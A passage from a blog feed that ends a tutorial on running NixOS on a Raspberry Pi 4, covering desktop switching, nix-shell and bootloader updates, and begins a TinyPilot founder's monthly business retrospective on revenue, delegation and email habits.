 &lt;a href="https://mtlynch.io/nixos-pi4/tempuser-login.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1769px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/tempuser-login_hu_4a519c8a9c184ea7.webp 300w, https://mtlynch.io/nixos-pi4/tempuser-login_hu_7f3d686b4adc4af7.webp 600w, https://mtlynch.io/nixos-pi4/tempuser-login_hu_1119da891bf80774.webp 800w, https://mtlynch.io/nixos-pi4/tempuser-login_hu_654239a6cd15bcd2.webp 1200w, https://mtlynch.io/nixos-pi4/tempuser-login.webp 1769w'
 src="https://mtlynch.io/nixos-pi4/tempuser-login.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Your Pi is now running NixOS with a &lt;a href="https://www.gnome.org/">Gnome desktop environment&lt;/a>!&lt;/p>
&lt;p>If you used the default &lt;code>configuration.nix&lt;/code> file above, your username is &lt;code>tempuser&lt;/code> and your password is &lt;code>somepass&lt;/code>.&lt;/p>
&lt;h2 id="experimenting-with-nixos">Experimenting with NixOS&lt;/h2>
&lt;p>At this point, your NixOS system is up and running.&lt;/p>
&lt;p>You&amp;rsquo;re free to explore NixOS as you wish, but I&amp;rsquo;ve included a couple of beginner experiments you can try on your new system.&lt;/p>
&lt;h3 id="experiment-1-change-the-desktop-enviroment">Experiment 1: Change the desktop enviroment&lt;/h3>
&lt;p>The &lt;code>configuration.nix&lt;/code> file above assumes that you want to use the Gnome desktop environment, but maybe you prefer &lt;a href="https://nixos.wiki/wiki/Category:Desktop_environment">a different one&lt;/a>. There&amp;rsquo;s another desktop manager called &lt;a href="https://nixos.wiki/wiki/KDE">Plasma&lt;/a> that&amp;rsquo;s similar in design to Microsoft Windows.&lt;/p>
&lt;p>To change your NixOS system to use Plasma instead of Gnome, open the your &lt;code>configuration.nix&lt;/code> file in a text editor:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nano /etc/nixos/configuration.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Find these lines in the file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> displayManager.gdm.enable = true;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> desktopManager.gnome.enable = true;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Replace them with these lines:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> displayManager.sddm.enable = true;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> desktopManager.plasma5.enable = true;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To apply the changes save the file, exit &lt;code>nano&lt;/code>, and run these commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nixos-rebuild boot &amp;amp;&amp;amp; sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When you reboot, you should see a desktop like the following:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 410px">



 &lt;a href="https://mtlynch.io/nixos-pi4/plasma-desktop.webp">
 &lt;img
 
 sizes="(min-width: 768px) 410px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/plasma-desktop_hu_eef9f166aa51733c.webp 300w, https://mtlynch.io/nixos-pi4/plasma-desktop_hu_ae06e11fc9f3655.webp 600w, https://mtlynch.io/nixos-pi4/plasma-desktop_hu_b902bfc61e7f698.webp 800w, https://mtlynch.io/nixos-pi4/plasma-desktop_hu_cc8264a755b5188e.webp 1200w, https://mtlynch.io/nixos-pi4/plasma-desktop.webp 1700w'
 src="https://mtlynch.io/nixos-pi4/plasma-desktop.webp" alt="Screenshot of TinyPilot controlling a NixOS system running the Plasma desktop environment, at the login screen" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 410px">



 &lt;a href="https://mtlynch.io/nixos-pi4/plasma-desktop2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 410px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_7924b0209826d5d.webp 300w, https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_93ada19cb56c06ff.webp 600w, https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_dc379dc6ec06fe14.webp 800w, https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_72add181dfe9b07e.webp 1200w, https://mtlynch.io/nixos-pi4/plasma-desktop2.webp 1700w'
 src="https://mtlynch.io/nixos-pi4/plasma-desktop2.webp" alt="Screenshot of TinyPilot controlling a NixOS system running the Plasma desktop environment, on the desktop screen" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Switching desktop managers from Gnome to Plasma is a two-line change in NixOS.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>All it took to change your whole desktop environment was just a two-line change.&lt;/p>
&lt;h3 id="experiment-2-create-an-ad-hoc-software-environment">Experiment 2: Create an ad-hoc software environment&lt;/h3>
&lt;p>One of the most approachable Nix tools I&amp;rsquo;ve found is &lt;code>nix-shell&lt;/code>. It lets you create software environments on the fly with any software packages you specify.&lt;/p>
&lt;p>&lt;code>nix-shell&lt;/code> doesn&amp;rsquo;t affect any other configuration on your system, so you&amp;rsquo;re free to try new tools without the risk of breaking anything else.&lt;/p>
&lt;p>I sometimes run into projects I wrote a few years ago that depend on an older version of Node.js. I&amp;rsquo;ve tried tools like &lt;a href="https://nvm.sh">&lt;code>nvm&lt;/code>&lt;/a> to install Node versions side-by-side, but I always end up spending 20 minutes remembering how to use &lt;code>nvm&lt;/code> and configure it correctly.&lt;/p>
&lt;p>Even though &lt;code>nix-shell&lt;/code> is a general purpose tool for installing packages, I find it more convenient even than language-specific dev tools like &lt;code>nvm&lt;/code>.&lt;/p>
&lt;p>Here&amp;rsquo;s how you can create a &lt;code>nix-shell&lt;/code> environment with Node.js 18.x:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix-shell --packages nodejs-18_x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>these paths will be fetched (11.25 MiB download, 52.36 MiB unpacked):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /nix/store/87kgx3ym4kgmqwaijckqvbfrkzm8ax75-nodejs-18.2.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>copying path &lt;span style="color:#ed9d13">&amp;#39;/nix/store/87kgx3ym4kgmqwaijckqvbfrkzm8ax75-nodejs-18.2.0&amp;#39;&lt;/span> from &lt;span style="color:#ed9d13">&amp;#39;https://cache.nixos.org&amp;#39;&lt;/span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[nix-shell:~]$ node --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>v18.2.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[nix-shell:~]$ npm --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>8.9.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When you&amp;rsquo;re done with the environment, just hit &lt;code>Ctrl+D&lt;/code> or type &lt;code>exit&lt;/code>.&lt;/p>
&lt;p>Here&amp;rsquo;s how you can do the same thing to create a Node.js 16.x environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix-shell --packages nodejs-16_x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>these paths will be fetched (10.77 MiB download, 50.24 MiB unpacked):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /nix/store/1ba3sqw3rkadg2ksywqc85lq2hvx9fvk-nodejs-16.15.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>copying path &lt;span style="color:#ed9d13">&amp;#39;/nix/store/1ba3sqw3rkadg2ksywqc85lq2hvx9fvk-nodejs-16.15.0&amp;#39;&lt;/span> from &lt;span style="color:#ed9d13">&amp;#39;https://cache.nixos.org&amp;#39;&lt;/span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[nix-shell:~]$ node --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>v16.15.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[nix-shell:~]$ npm --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>8.5.5
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="troubleshooting">Troubleshooting&lt;/h2>
&lt;h3 id="upgrade-to-the-latest-pi-bootloader">Upgrade to the latest Pi bootloader&lt;/h3>
&lt;p>If you&amp;rsquo;re running into boot issues with NixOS, you may need to update your Pi&amp;rsquo;s bootloader and &lt;a href="https://www.raspberrypi.com/documentation/computers/raspberry-pi.html#raspberry-pi-4-boot-eeprom">EEPROM&lt;/a>.&lt;/p>
&lt;p>Boot a recent build of &lt;a href="https://www.raspberrypi.com/software/operating-systems/">Raspberry Pi OS (aka &amp;ldquo;Raspbian&amp;rdquo;)&lt;/a>, then run these command to install the latest bootloader:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo raspi-config nonint do_boot_rom E1 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To update the EEPROM, run these commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt install --yes rpi-eeprom &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo rpi-eeprom-update -a &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The Pi 4 devices I tested booted the NixOS 23.11 disk image out of the box, so the above steps weren&amp;rsquo;t necessary for me.&lt;/p>
&lt;h2 id="appendix-failed-attempts">Appendix: Failed attempts&lt;/h2>
&lt;p>In creating this tutorial, I ran into a ton of paths that didn&amp;rsquo;t work. I&amp;rsquo;ve collected them here for the sake of saving others time retrying the same steps.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/notes/nixos-pi4-failed-attempts/">Failed Attempts to Install NixOS on the Raspberry Pi 4&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to &lt;a href="https://proof.construction/">Alex Groleau&lt;/a> from the NixOS documentation team for his help with this guide and his work on &lt;a href="https://nix.dev/tutorials/nixos/installing-nixos-on-a-raspberry-pi">the official NixOS Raspberry Pi tutorial&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 36</title><link>https://mtlynch.io/retrospectives/2023/07/</link><pubDate>Thu, 13 Jul 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/07/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m trying to figure out where I&amp;rsquo;m spending unnecessary time on TinyPilot.&lt;/li>
&lt;li>I realized I&amp;rsquo;ve once again become addicted to email.&lt;/li>
&lt;li>I built my first server rack.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m trying to figure out where I&amp;rsquo;m spending unnecessary time on TinyPilot.&lt;/li>
&lt;li>I realized I&amp;rsquo;ve once again become addicted to email.&lt;/li>
&lt;li>I built my first server rack.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="start-a-manufacturing-batch-with-a-new-contract-manufacturer">Start a manufacturing batch with a new contract manufacturer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The first manufacturing batch has started.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I signed the purchase order with our contract manufacturer, so the wheels are in motion for our first production batch. It&amp;rsquo;s going to be the biggest single change to the business we&amp;rsquo;ve ever done, which is scary. If it goes well, it will be great. If it goes badly, it will be a catastrophe. I&amp;rsquo;m hoping for the former.&lt;/p>
&lt;h3 id="publish-tinypilot-pro-260">Publish TinyPilot Pro 2.6.0&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published TinyPilot Pro 2.6.0 on schedule.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Our June release went smoothly but felt underwhelming. A lot of our dev effort in the last two releases has been making updates simpler and less error-prone. The changes have made the software significantly more maintainable, but that doesn&amp;rsquo;t sound exciting in a release announcement.&lt;/p>
&lt;h3 id="reach-95k-in-revenue">Reach $95k in revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reached $93k in revenue.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>TinyPilot&amp;rsquo;s earnings were fairly flat. A new review &lt;a href="https://www.youtube.com/watch?v=tx724dhxGxc">came out&lt;/a> but got a tepid response, so we saw fewer sales than I hoped.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2023&lt;/th>
 &lt;th>June 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,773&lt;/td>
 &lt;td>8,300&lt;/td>
 &lt;td>&lt;font color="green">+527 (+7%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$89,569.49&lt;/td>
 &lt;td>$88,378.45&lt;/td>
 &lt;td>&lt;font color="red">-$1,191.04 (-1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,597.71&lt;/td>
 &lt;td>$4,399.66&lt;/td>
 &lt;td>&lt;font color="green">+$1,801.95 (+69%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$92,457.90&lt;/td>
 &lt;td>$93,068.81&lt;/td>
 &lt;td>&lt;font color="green">+$610.91 (+1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$24,034.74&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$30,907.55&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$6,872.81 (+29%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Almost every metric was flat this month. One of my marketing pushes fell flat, but I&amp;rsquo;m still optimistic about others I have cooking.&lt;/p>
&lt;p>TinyPilot&amp;rsquo;s ad effectiveness decreased substantially. In May, we made $3.64 in revenue for every $1 in ad spend. In June, each dollar of ad spend only got us $2.62 in revenue. Considering that $2.62 of revenue costs about $0.90 in materials, our ads are still profitable but the margins are slimmer.&lt;/p>
&lt;p>I&amp;rsquo;ll give the ads another month. If performance doesn&amp;rsquo;t improve, I&amp;rsquo;ll book some time with TinyPilot&amp;rsquo;s marketing consultant to see what we can fix.&lt;/p>
&lt;h2 id="where-does-my-time-go">Where does my time go?&lt;/h2>
&lt;p>At a recent indie founder meetup, I mentioned that my biggest challenge was finding time for &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#habit-3-put-first-things-first">tasks that are important but not urgent&lt;/a>.&lt;/p>
&lt;p>The other meetup attendees were surprised. Why couldn&amp;rsquo;t I just automate or delegate everything? What required my attention specifically?&lt;/p>
&lt;p>Last year, I found it useful to &lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-manage-tinypilot-with-only-20-hours-per-week">evaluate how I was spending my time&lt;/a>, so I&amp;rsquo;m repeating the exercise.&lt;/p>
&lt;p>Here are the tasks that occupy most of my time as TinyPilot&amp;rsquo;s founder.&lt;/p>
&lt;h3 id="task-1-coordinating-changes">Task 1: Coordinating changes&lt;/h3>
&lt;p>When TinyPilot&amp;rsquo;s team grew past two people, I realized that one of my main responsibilities was to coordinate changes.&lt;/p>
&lt;p>TinyPilot grows in multiple dimensions in parallel: we improve the software, we improve the hardware, we integrate new vendors, we add more team members, etc.&lt;/p>
&lt;p>Changes to one area of the business typically have ripple effects that impact other parts. As TinyPilot has grown in headcount and complexity, the ripple effects have become more frequent and significant.&lt;/p>
&lt;h4 id="how-can-i-reduce-my-time-here">How can I reduce my time here?&lt;/h4>
&lt;p>Some of the meetup attendees suggested that I should just hire a manager. That&amp;rsquo;s harder than it sounds.&lt;/p>
&lt;p>TinyPilot has three teams composed of two to three people each: software development, support engineering, and customer service / local operations. The three teams have mostly disjoint responsibilities.&lt;/p>
&lt;p>If I hired someone to manage only one of TinyPilot&amp;rsquo;s team, that wouldn&amp;rsquo;t save much time. If I hired someone to manage all three teams, they&amp;rsquo;d need experience managing software, so they&amp;rsquo;d probably need a salary of $125k/yr or more. That means the cost to hire that person would be at least $200k/yr, which would consume all of TinyPilot&amp;rsquo;s current profits.&lt;/p>
&lt;p>The best solution I can think of is the same as last year: &lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-spend-less-time-coordinating-changes">juggle fewer projects, and look for more opportunities to delegate&lt;/a>.&lt;/p>
&lt;p>There are some tasks that I take on because I notice parts that I can&amp;rsquo;t delegate. For example, if a task consists of subtasks A, B, and C, and part B involves signing a contract on behalf of TinyPilot, I think, &amp;ldquo;Oh, I&amp;rsquo;m the only one who can do that.&amp;rdquo; In some of those cases, I can delegate tasks A and C, but I forget to consider the possibility.&lt;/p>
&lt;p>The other solution is pushing more work to vendors and reducing the set of things TinyPilot does in-house. This year, we stopped doing our own fulfillment and transitioned the work to a third-party logistics (3PL) vendor. That&amp;rsquo;s made it harder to handle edge cases, but it eliminated entire categories of work we were managing before.&lt;/p>
&lt;h3 id="task-2-managing-the-relationship-with-our-3pl-partner">Task 2: Managing the relationship with our 3PL partner&lt;/h3>
&lt;p>I expected that the work of transitioning to a 3PL vendor would be heavily front-loaded. I knew it would be hard to pick a vendor and make the switch, but I thought after that would be mostly smooth sailing.&lt;/p>
&lt;p>I&amp;rsquo;m finding that there&amp;rsquo;s still a long tail of little workflows we still need to figure out with the 3PL vendor:&lt;/p>
&lt;ul>
&lt;li>How do we keep track of inventory as it travels from our office to the 3PL warehouse?&lt;/li>
&lt;li>How do we verify that the 3PL isn&amp;rsquo;t losing inventory at their warehouse?&lt;/li>
&lt;li>How do we resolve issues when the 3PL ships the wrong items in an order?&lt;/li>
&lt;li>How do we handle customers who want same-day shipping?&lt;/li>
&lt;/ul>
&lt;p>These are solvable problems, but we continue to hit new issues, so I spend a lot of time thinking about our 3PL.&lt;/p>
&lt;h4 id="how-can-i-reduce-my-time-here-1">How can I reduce my time here?&lt;/h4>
&lt;p>This is an area where I should be delegating more to the rest of the team.&lt;/p>
&lt;p>I&amp;rsquo;ve started asking TinyPilot&amp;rsquo;s local staff to become more active in managing the 3PL relationship, and that&amp;rsquo;s working.&lt;/p>
&lt;p>Previously, for something like the problem of preventing the 3PL from losing inventory, I&amp;rsquo;d define a process for auditing their inventory reports. Instead, I asked a member of the local staff to do it rather than defining everything myself.&lt;/p>
&lt;h3 id="task-3-contributing-to-software-development">Task 3: Contributing to software development&lt;/h3>
&lt;p>I spend a lot of time involved in TinyPilot&amp;rsquo;s software development because that&amp;rsquo;s the part of TinyPilot I enjoy most. I&amp;rsquo;m still a developer at heart, even though I don&amp;rsquo;t get to spend much time writing code.&lt;/p>
&lt;p>When I have a few hours free, I often spend them fixing a small bug or tidying up the code in some way. But sometimes seemingly small changes &lt;a href="https://github.com/tiny-pilot/tinypilot/pull/1352">balloon into days of work&lt;/a>.&lt;/p>
&lt;h4 id="how-can-i-reduce-my-time-here-2">How can I reduce my time here?&lt;/h4>
&lt;p>This one&amp;rsquo;s hard because the obvious solution is, &amp;ldquo;Michael should stop writing code.&amp;rdquo;&lt;/p>
&lt;p>But I &lt;em>like&lt;/em> writing code&amp;hellip;&lt;/p>
&lt;p>The more practical solution is that I should be more conservative in the tasks I take on. I should limit my dev work to:&lt;/p>
&lt;ul>
&lt;li>improvements to developer experience like better documentation, improved tests, or new convenience scripts&lt;/li>
&lt;li>changes where my historical knowledge or context within the company make it easier for me to make the change than to define the change for someone else&lt;/li>
&lt;li>experimental changes that are beneficial if they work, but I can throw them away if they don&amp;rsquo;t&lt;/li>
&lt;/ul>
&lt;h3 id="task-4-reviewing-documentation">Task 4: Reviewing documentation&lt;/h3>
&lt;p>In addition to providing day-to-day customer support, the support engineering team also writes documentation and tutorials. I&amp;rsquo;m particular about public-facing documentation, so I spend a lot of time reviewing the team&amp;rsquo;s writing and giving feedback about style, clarity, and technical language.&lt;/p>
&lt;p>Reviewing documentation doesn&amp;rsquo;t take a lot of wall clock time, but it requires a lot of my focus. I find it mentally draining to be clear in my own writing — it&amp;rsquo;s even harder for me to read someone else&amp;rsquo;s writing and articulate what I think is missing or unclear.&lt;/p>
&lt;p>I often end up becoming the bottleneck on documentation tasks because even if I have a free hour to review a new tutorial, I often don&amp;rsquo;t have the mental focus to give useful feedback.&lt;/p>
&lt;h4 id="how-can-i-reduce-my-time-here-3">How can I reduce my time here?&lt;/h4>
&lt;p>The easiest change I can make is to rely more on peer reviews. On the dev team, the software engineers review 90% of each other&amp;rsquo;s code without me. It&amp;rsquo;s harder to coordinate a consistent style for written English than it is for code, but I think we can do about 80% of documentation editing in peer review.&lt;/p>
&lt;p>The other change I should make is taking my own bandwidth into account when assigning documentation tasks. I previously would add three tutorials in a row to the support engineering team&amp;rsquo;s task queue, but then I wouldn&amp;rsquo;t have the capacity to review everything at once. I should space out documentation tasks more so I have time to review.&lt;/p>
&lt;h2 id="getting-out-of-email-addiction">Getting out of email addiction&lt;/h2>
&lt;p>Over the last few years, I&amp;rsquo;ve oscillated between having a healthy relationship with email and having an unproductive addiction to email.&lt;/p>
&lt;h3 id="how-did-i-lose-my-good-email-habits">How did I lose my good email habits?&lt;/h3>
&lt;p>Once I have healthy email habits, it&amp;rsquo;s generally easy to keep them up. What typically knocks me out of my healthy habit is when an event gives me a legitimate reason to watch my email aggressively.&lt;/p>
&lt;p>Recently, the vendor that manufactures TinyPilot&amp;rsquo;s metal cases ran late, so we ran out of cases. Running out of cases is a huge pain, as it prevents us from assembling new devices. That means I need to scramble to reassign tasks to the local team, and their new tasks have to be things that they can drop on the floor again in a few days when we (hopefully) get cases.&lt;/p>
&lt;p>In situations like a case shortage, there&amp;rsquo;s a legitimate need to check email obsessively. If the vendor in China emails me on a Friday evening, and I let the email sit until Monday morning, they won&amp;rsquo;t see my response until Tuesday morning in China. That&amp;rsquo;s a three-day delay, which translates into three more days that the local team can&amp;rsquo;t build new devices.&lt;/p>
&lt;p>The problem is that after the emergency situation is over, I retain the habit of checking my email constantly. And when I check my email and find nothing urgent, I still crave the dopamine hit, so I check social media. That&amp;rsquo;s never productive. Instead of taking a 30-second break to check email, I&amp;rsquo;ve taken a 10-30-minute break to doomscroll.&lt;/p>
&lt;h3 id="solution-1-only-check-email-during-scheduled-email-time">Solution 1: Only check email during scheduled email time&lt;/h3>
&lt;p>Historically, the way I break out of a bad email habit is by mapping out my day explicitly.&lt;/p>
&lt;p>Each morning, I split my workday &lt;a href="https://mtlynch.io/eliminate-distractions/#schedule-time-for-email-texts-and-social-media">into 30-minute blocks&lt;/a> and decide how to spend each block. To avoid checking email compulsively, I schedule time for reading and responding to email instead of letting emails be a background hum throughout the day.&lt;/p>
&lt;p>I need to force myself to get back into this habit. It&amp;rsquo;s easy to keep up once I&amp;rsquo;m in the rhythm but hard to get into that rhythm. In the past, I grind out the first few days, and then it becomes easier and rewarding enough that I don&amp;rsquo;t have to rely on willpower.&lt;/p>
&lt;h3 id="solution-2-encourage-retroactive-feedback">Solution 2: Encourage retroactive feedback&lt;/h3>
&lt;p>As I write this, it&amp;rsquo;s 10 AM, and I&amp;rsquo;ve resisted checking my email so far today. But I have the burning feeling that I&amp;rsquo;m blocking work.&lt;/p>
&lt;p>I feel that way because it&amp;rsquo;s common for my teammates to ask me for feedback on support tickets, which is something I&amp;rsquo;ve encouraged.&lt;/p>
&lt;p>I&amp;rsquo;m realizing that teammates escalating support tickets to me makes my inbox more time-sensitive. Instead of the ticket being blocked on when either of the two support engineers have time, it&amp;rsquo;s now blocked on me and the specific support engineer who escalated to me. I then feel like I have to respond quickly to avoid making the customer wait for days.&lt;/p>
&lt;p>One option we&amp;rsquo;ve never tried is &amp;ldquo;parallel escalation.&amp;rdquo; Instead of pausing a support ticket to wait for my feedback, I should encourage teammates to continue working with the customer and ask me for feedback in parallel.&lt;/p>
&lt;h3 id="solution-3-empower-my-teammates-to-use-peer-review-more">Solution 3: Empower my teammates to use peer review more&lt;/h3>
&lt;p>I mentioned peer reviews when discussing &lt;a href="#how-can-i-reduce-my-time-here">documentation review&lt;/a>, but I should be looking for more opportunities for peer review across all types of work. It makes sure people develop skills alongside their teammates, and it reduces tasks that are blocked on me specifically.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="building-my-first-home-server-rack">Building my first home server rack&lt;/h3>
&lt;p>Ever since building &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/">my first homelab server&lt;/a>, my office has accumulated an ever-growing collection of servers and networking equipment.&lt;/p>
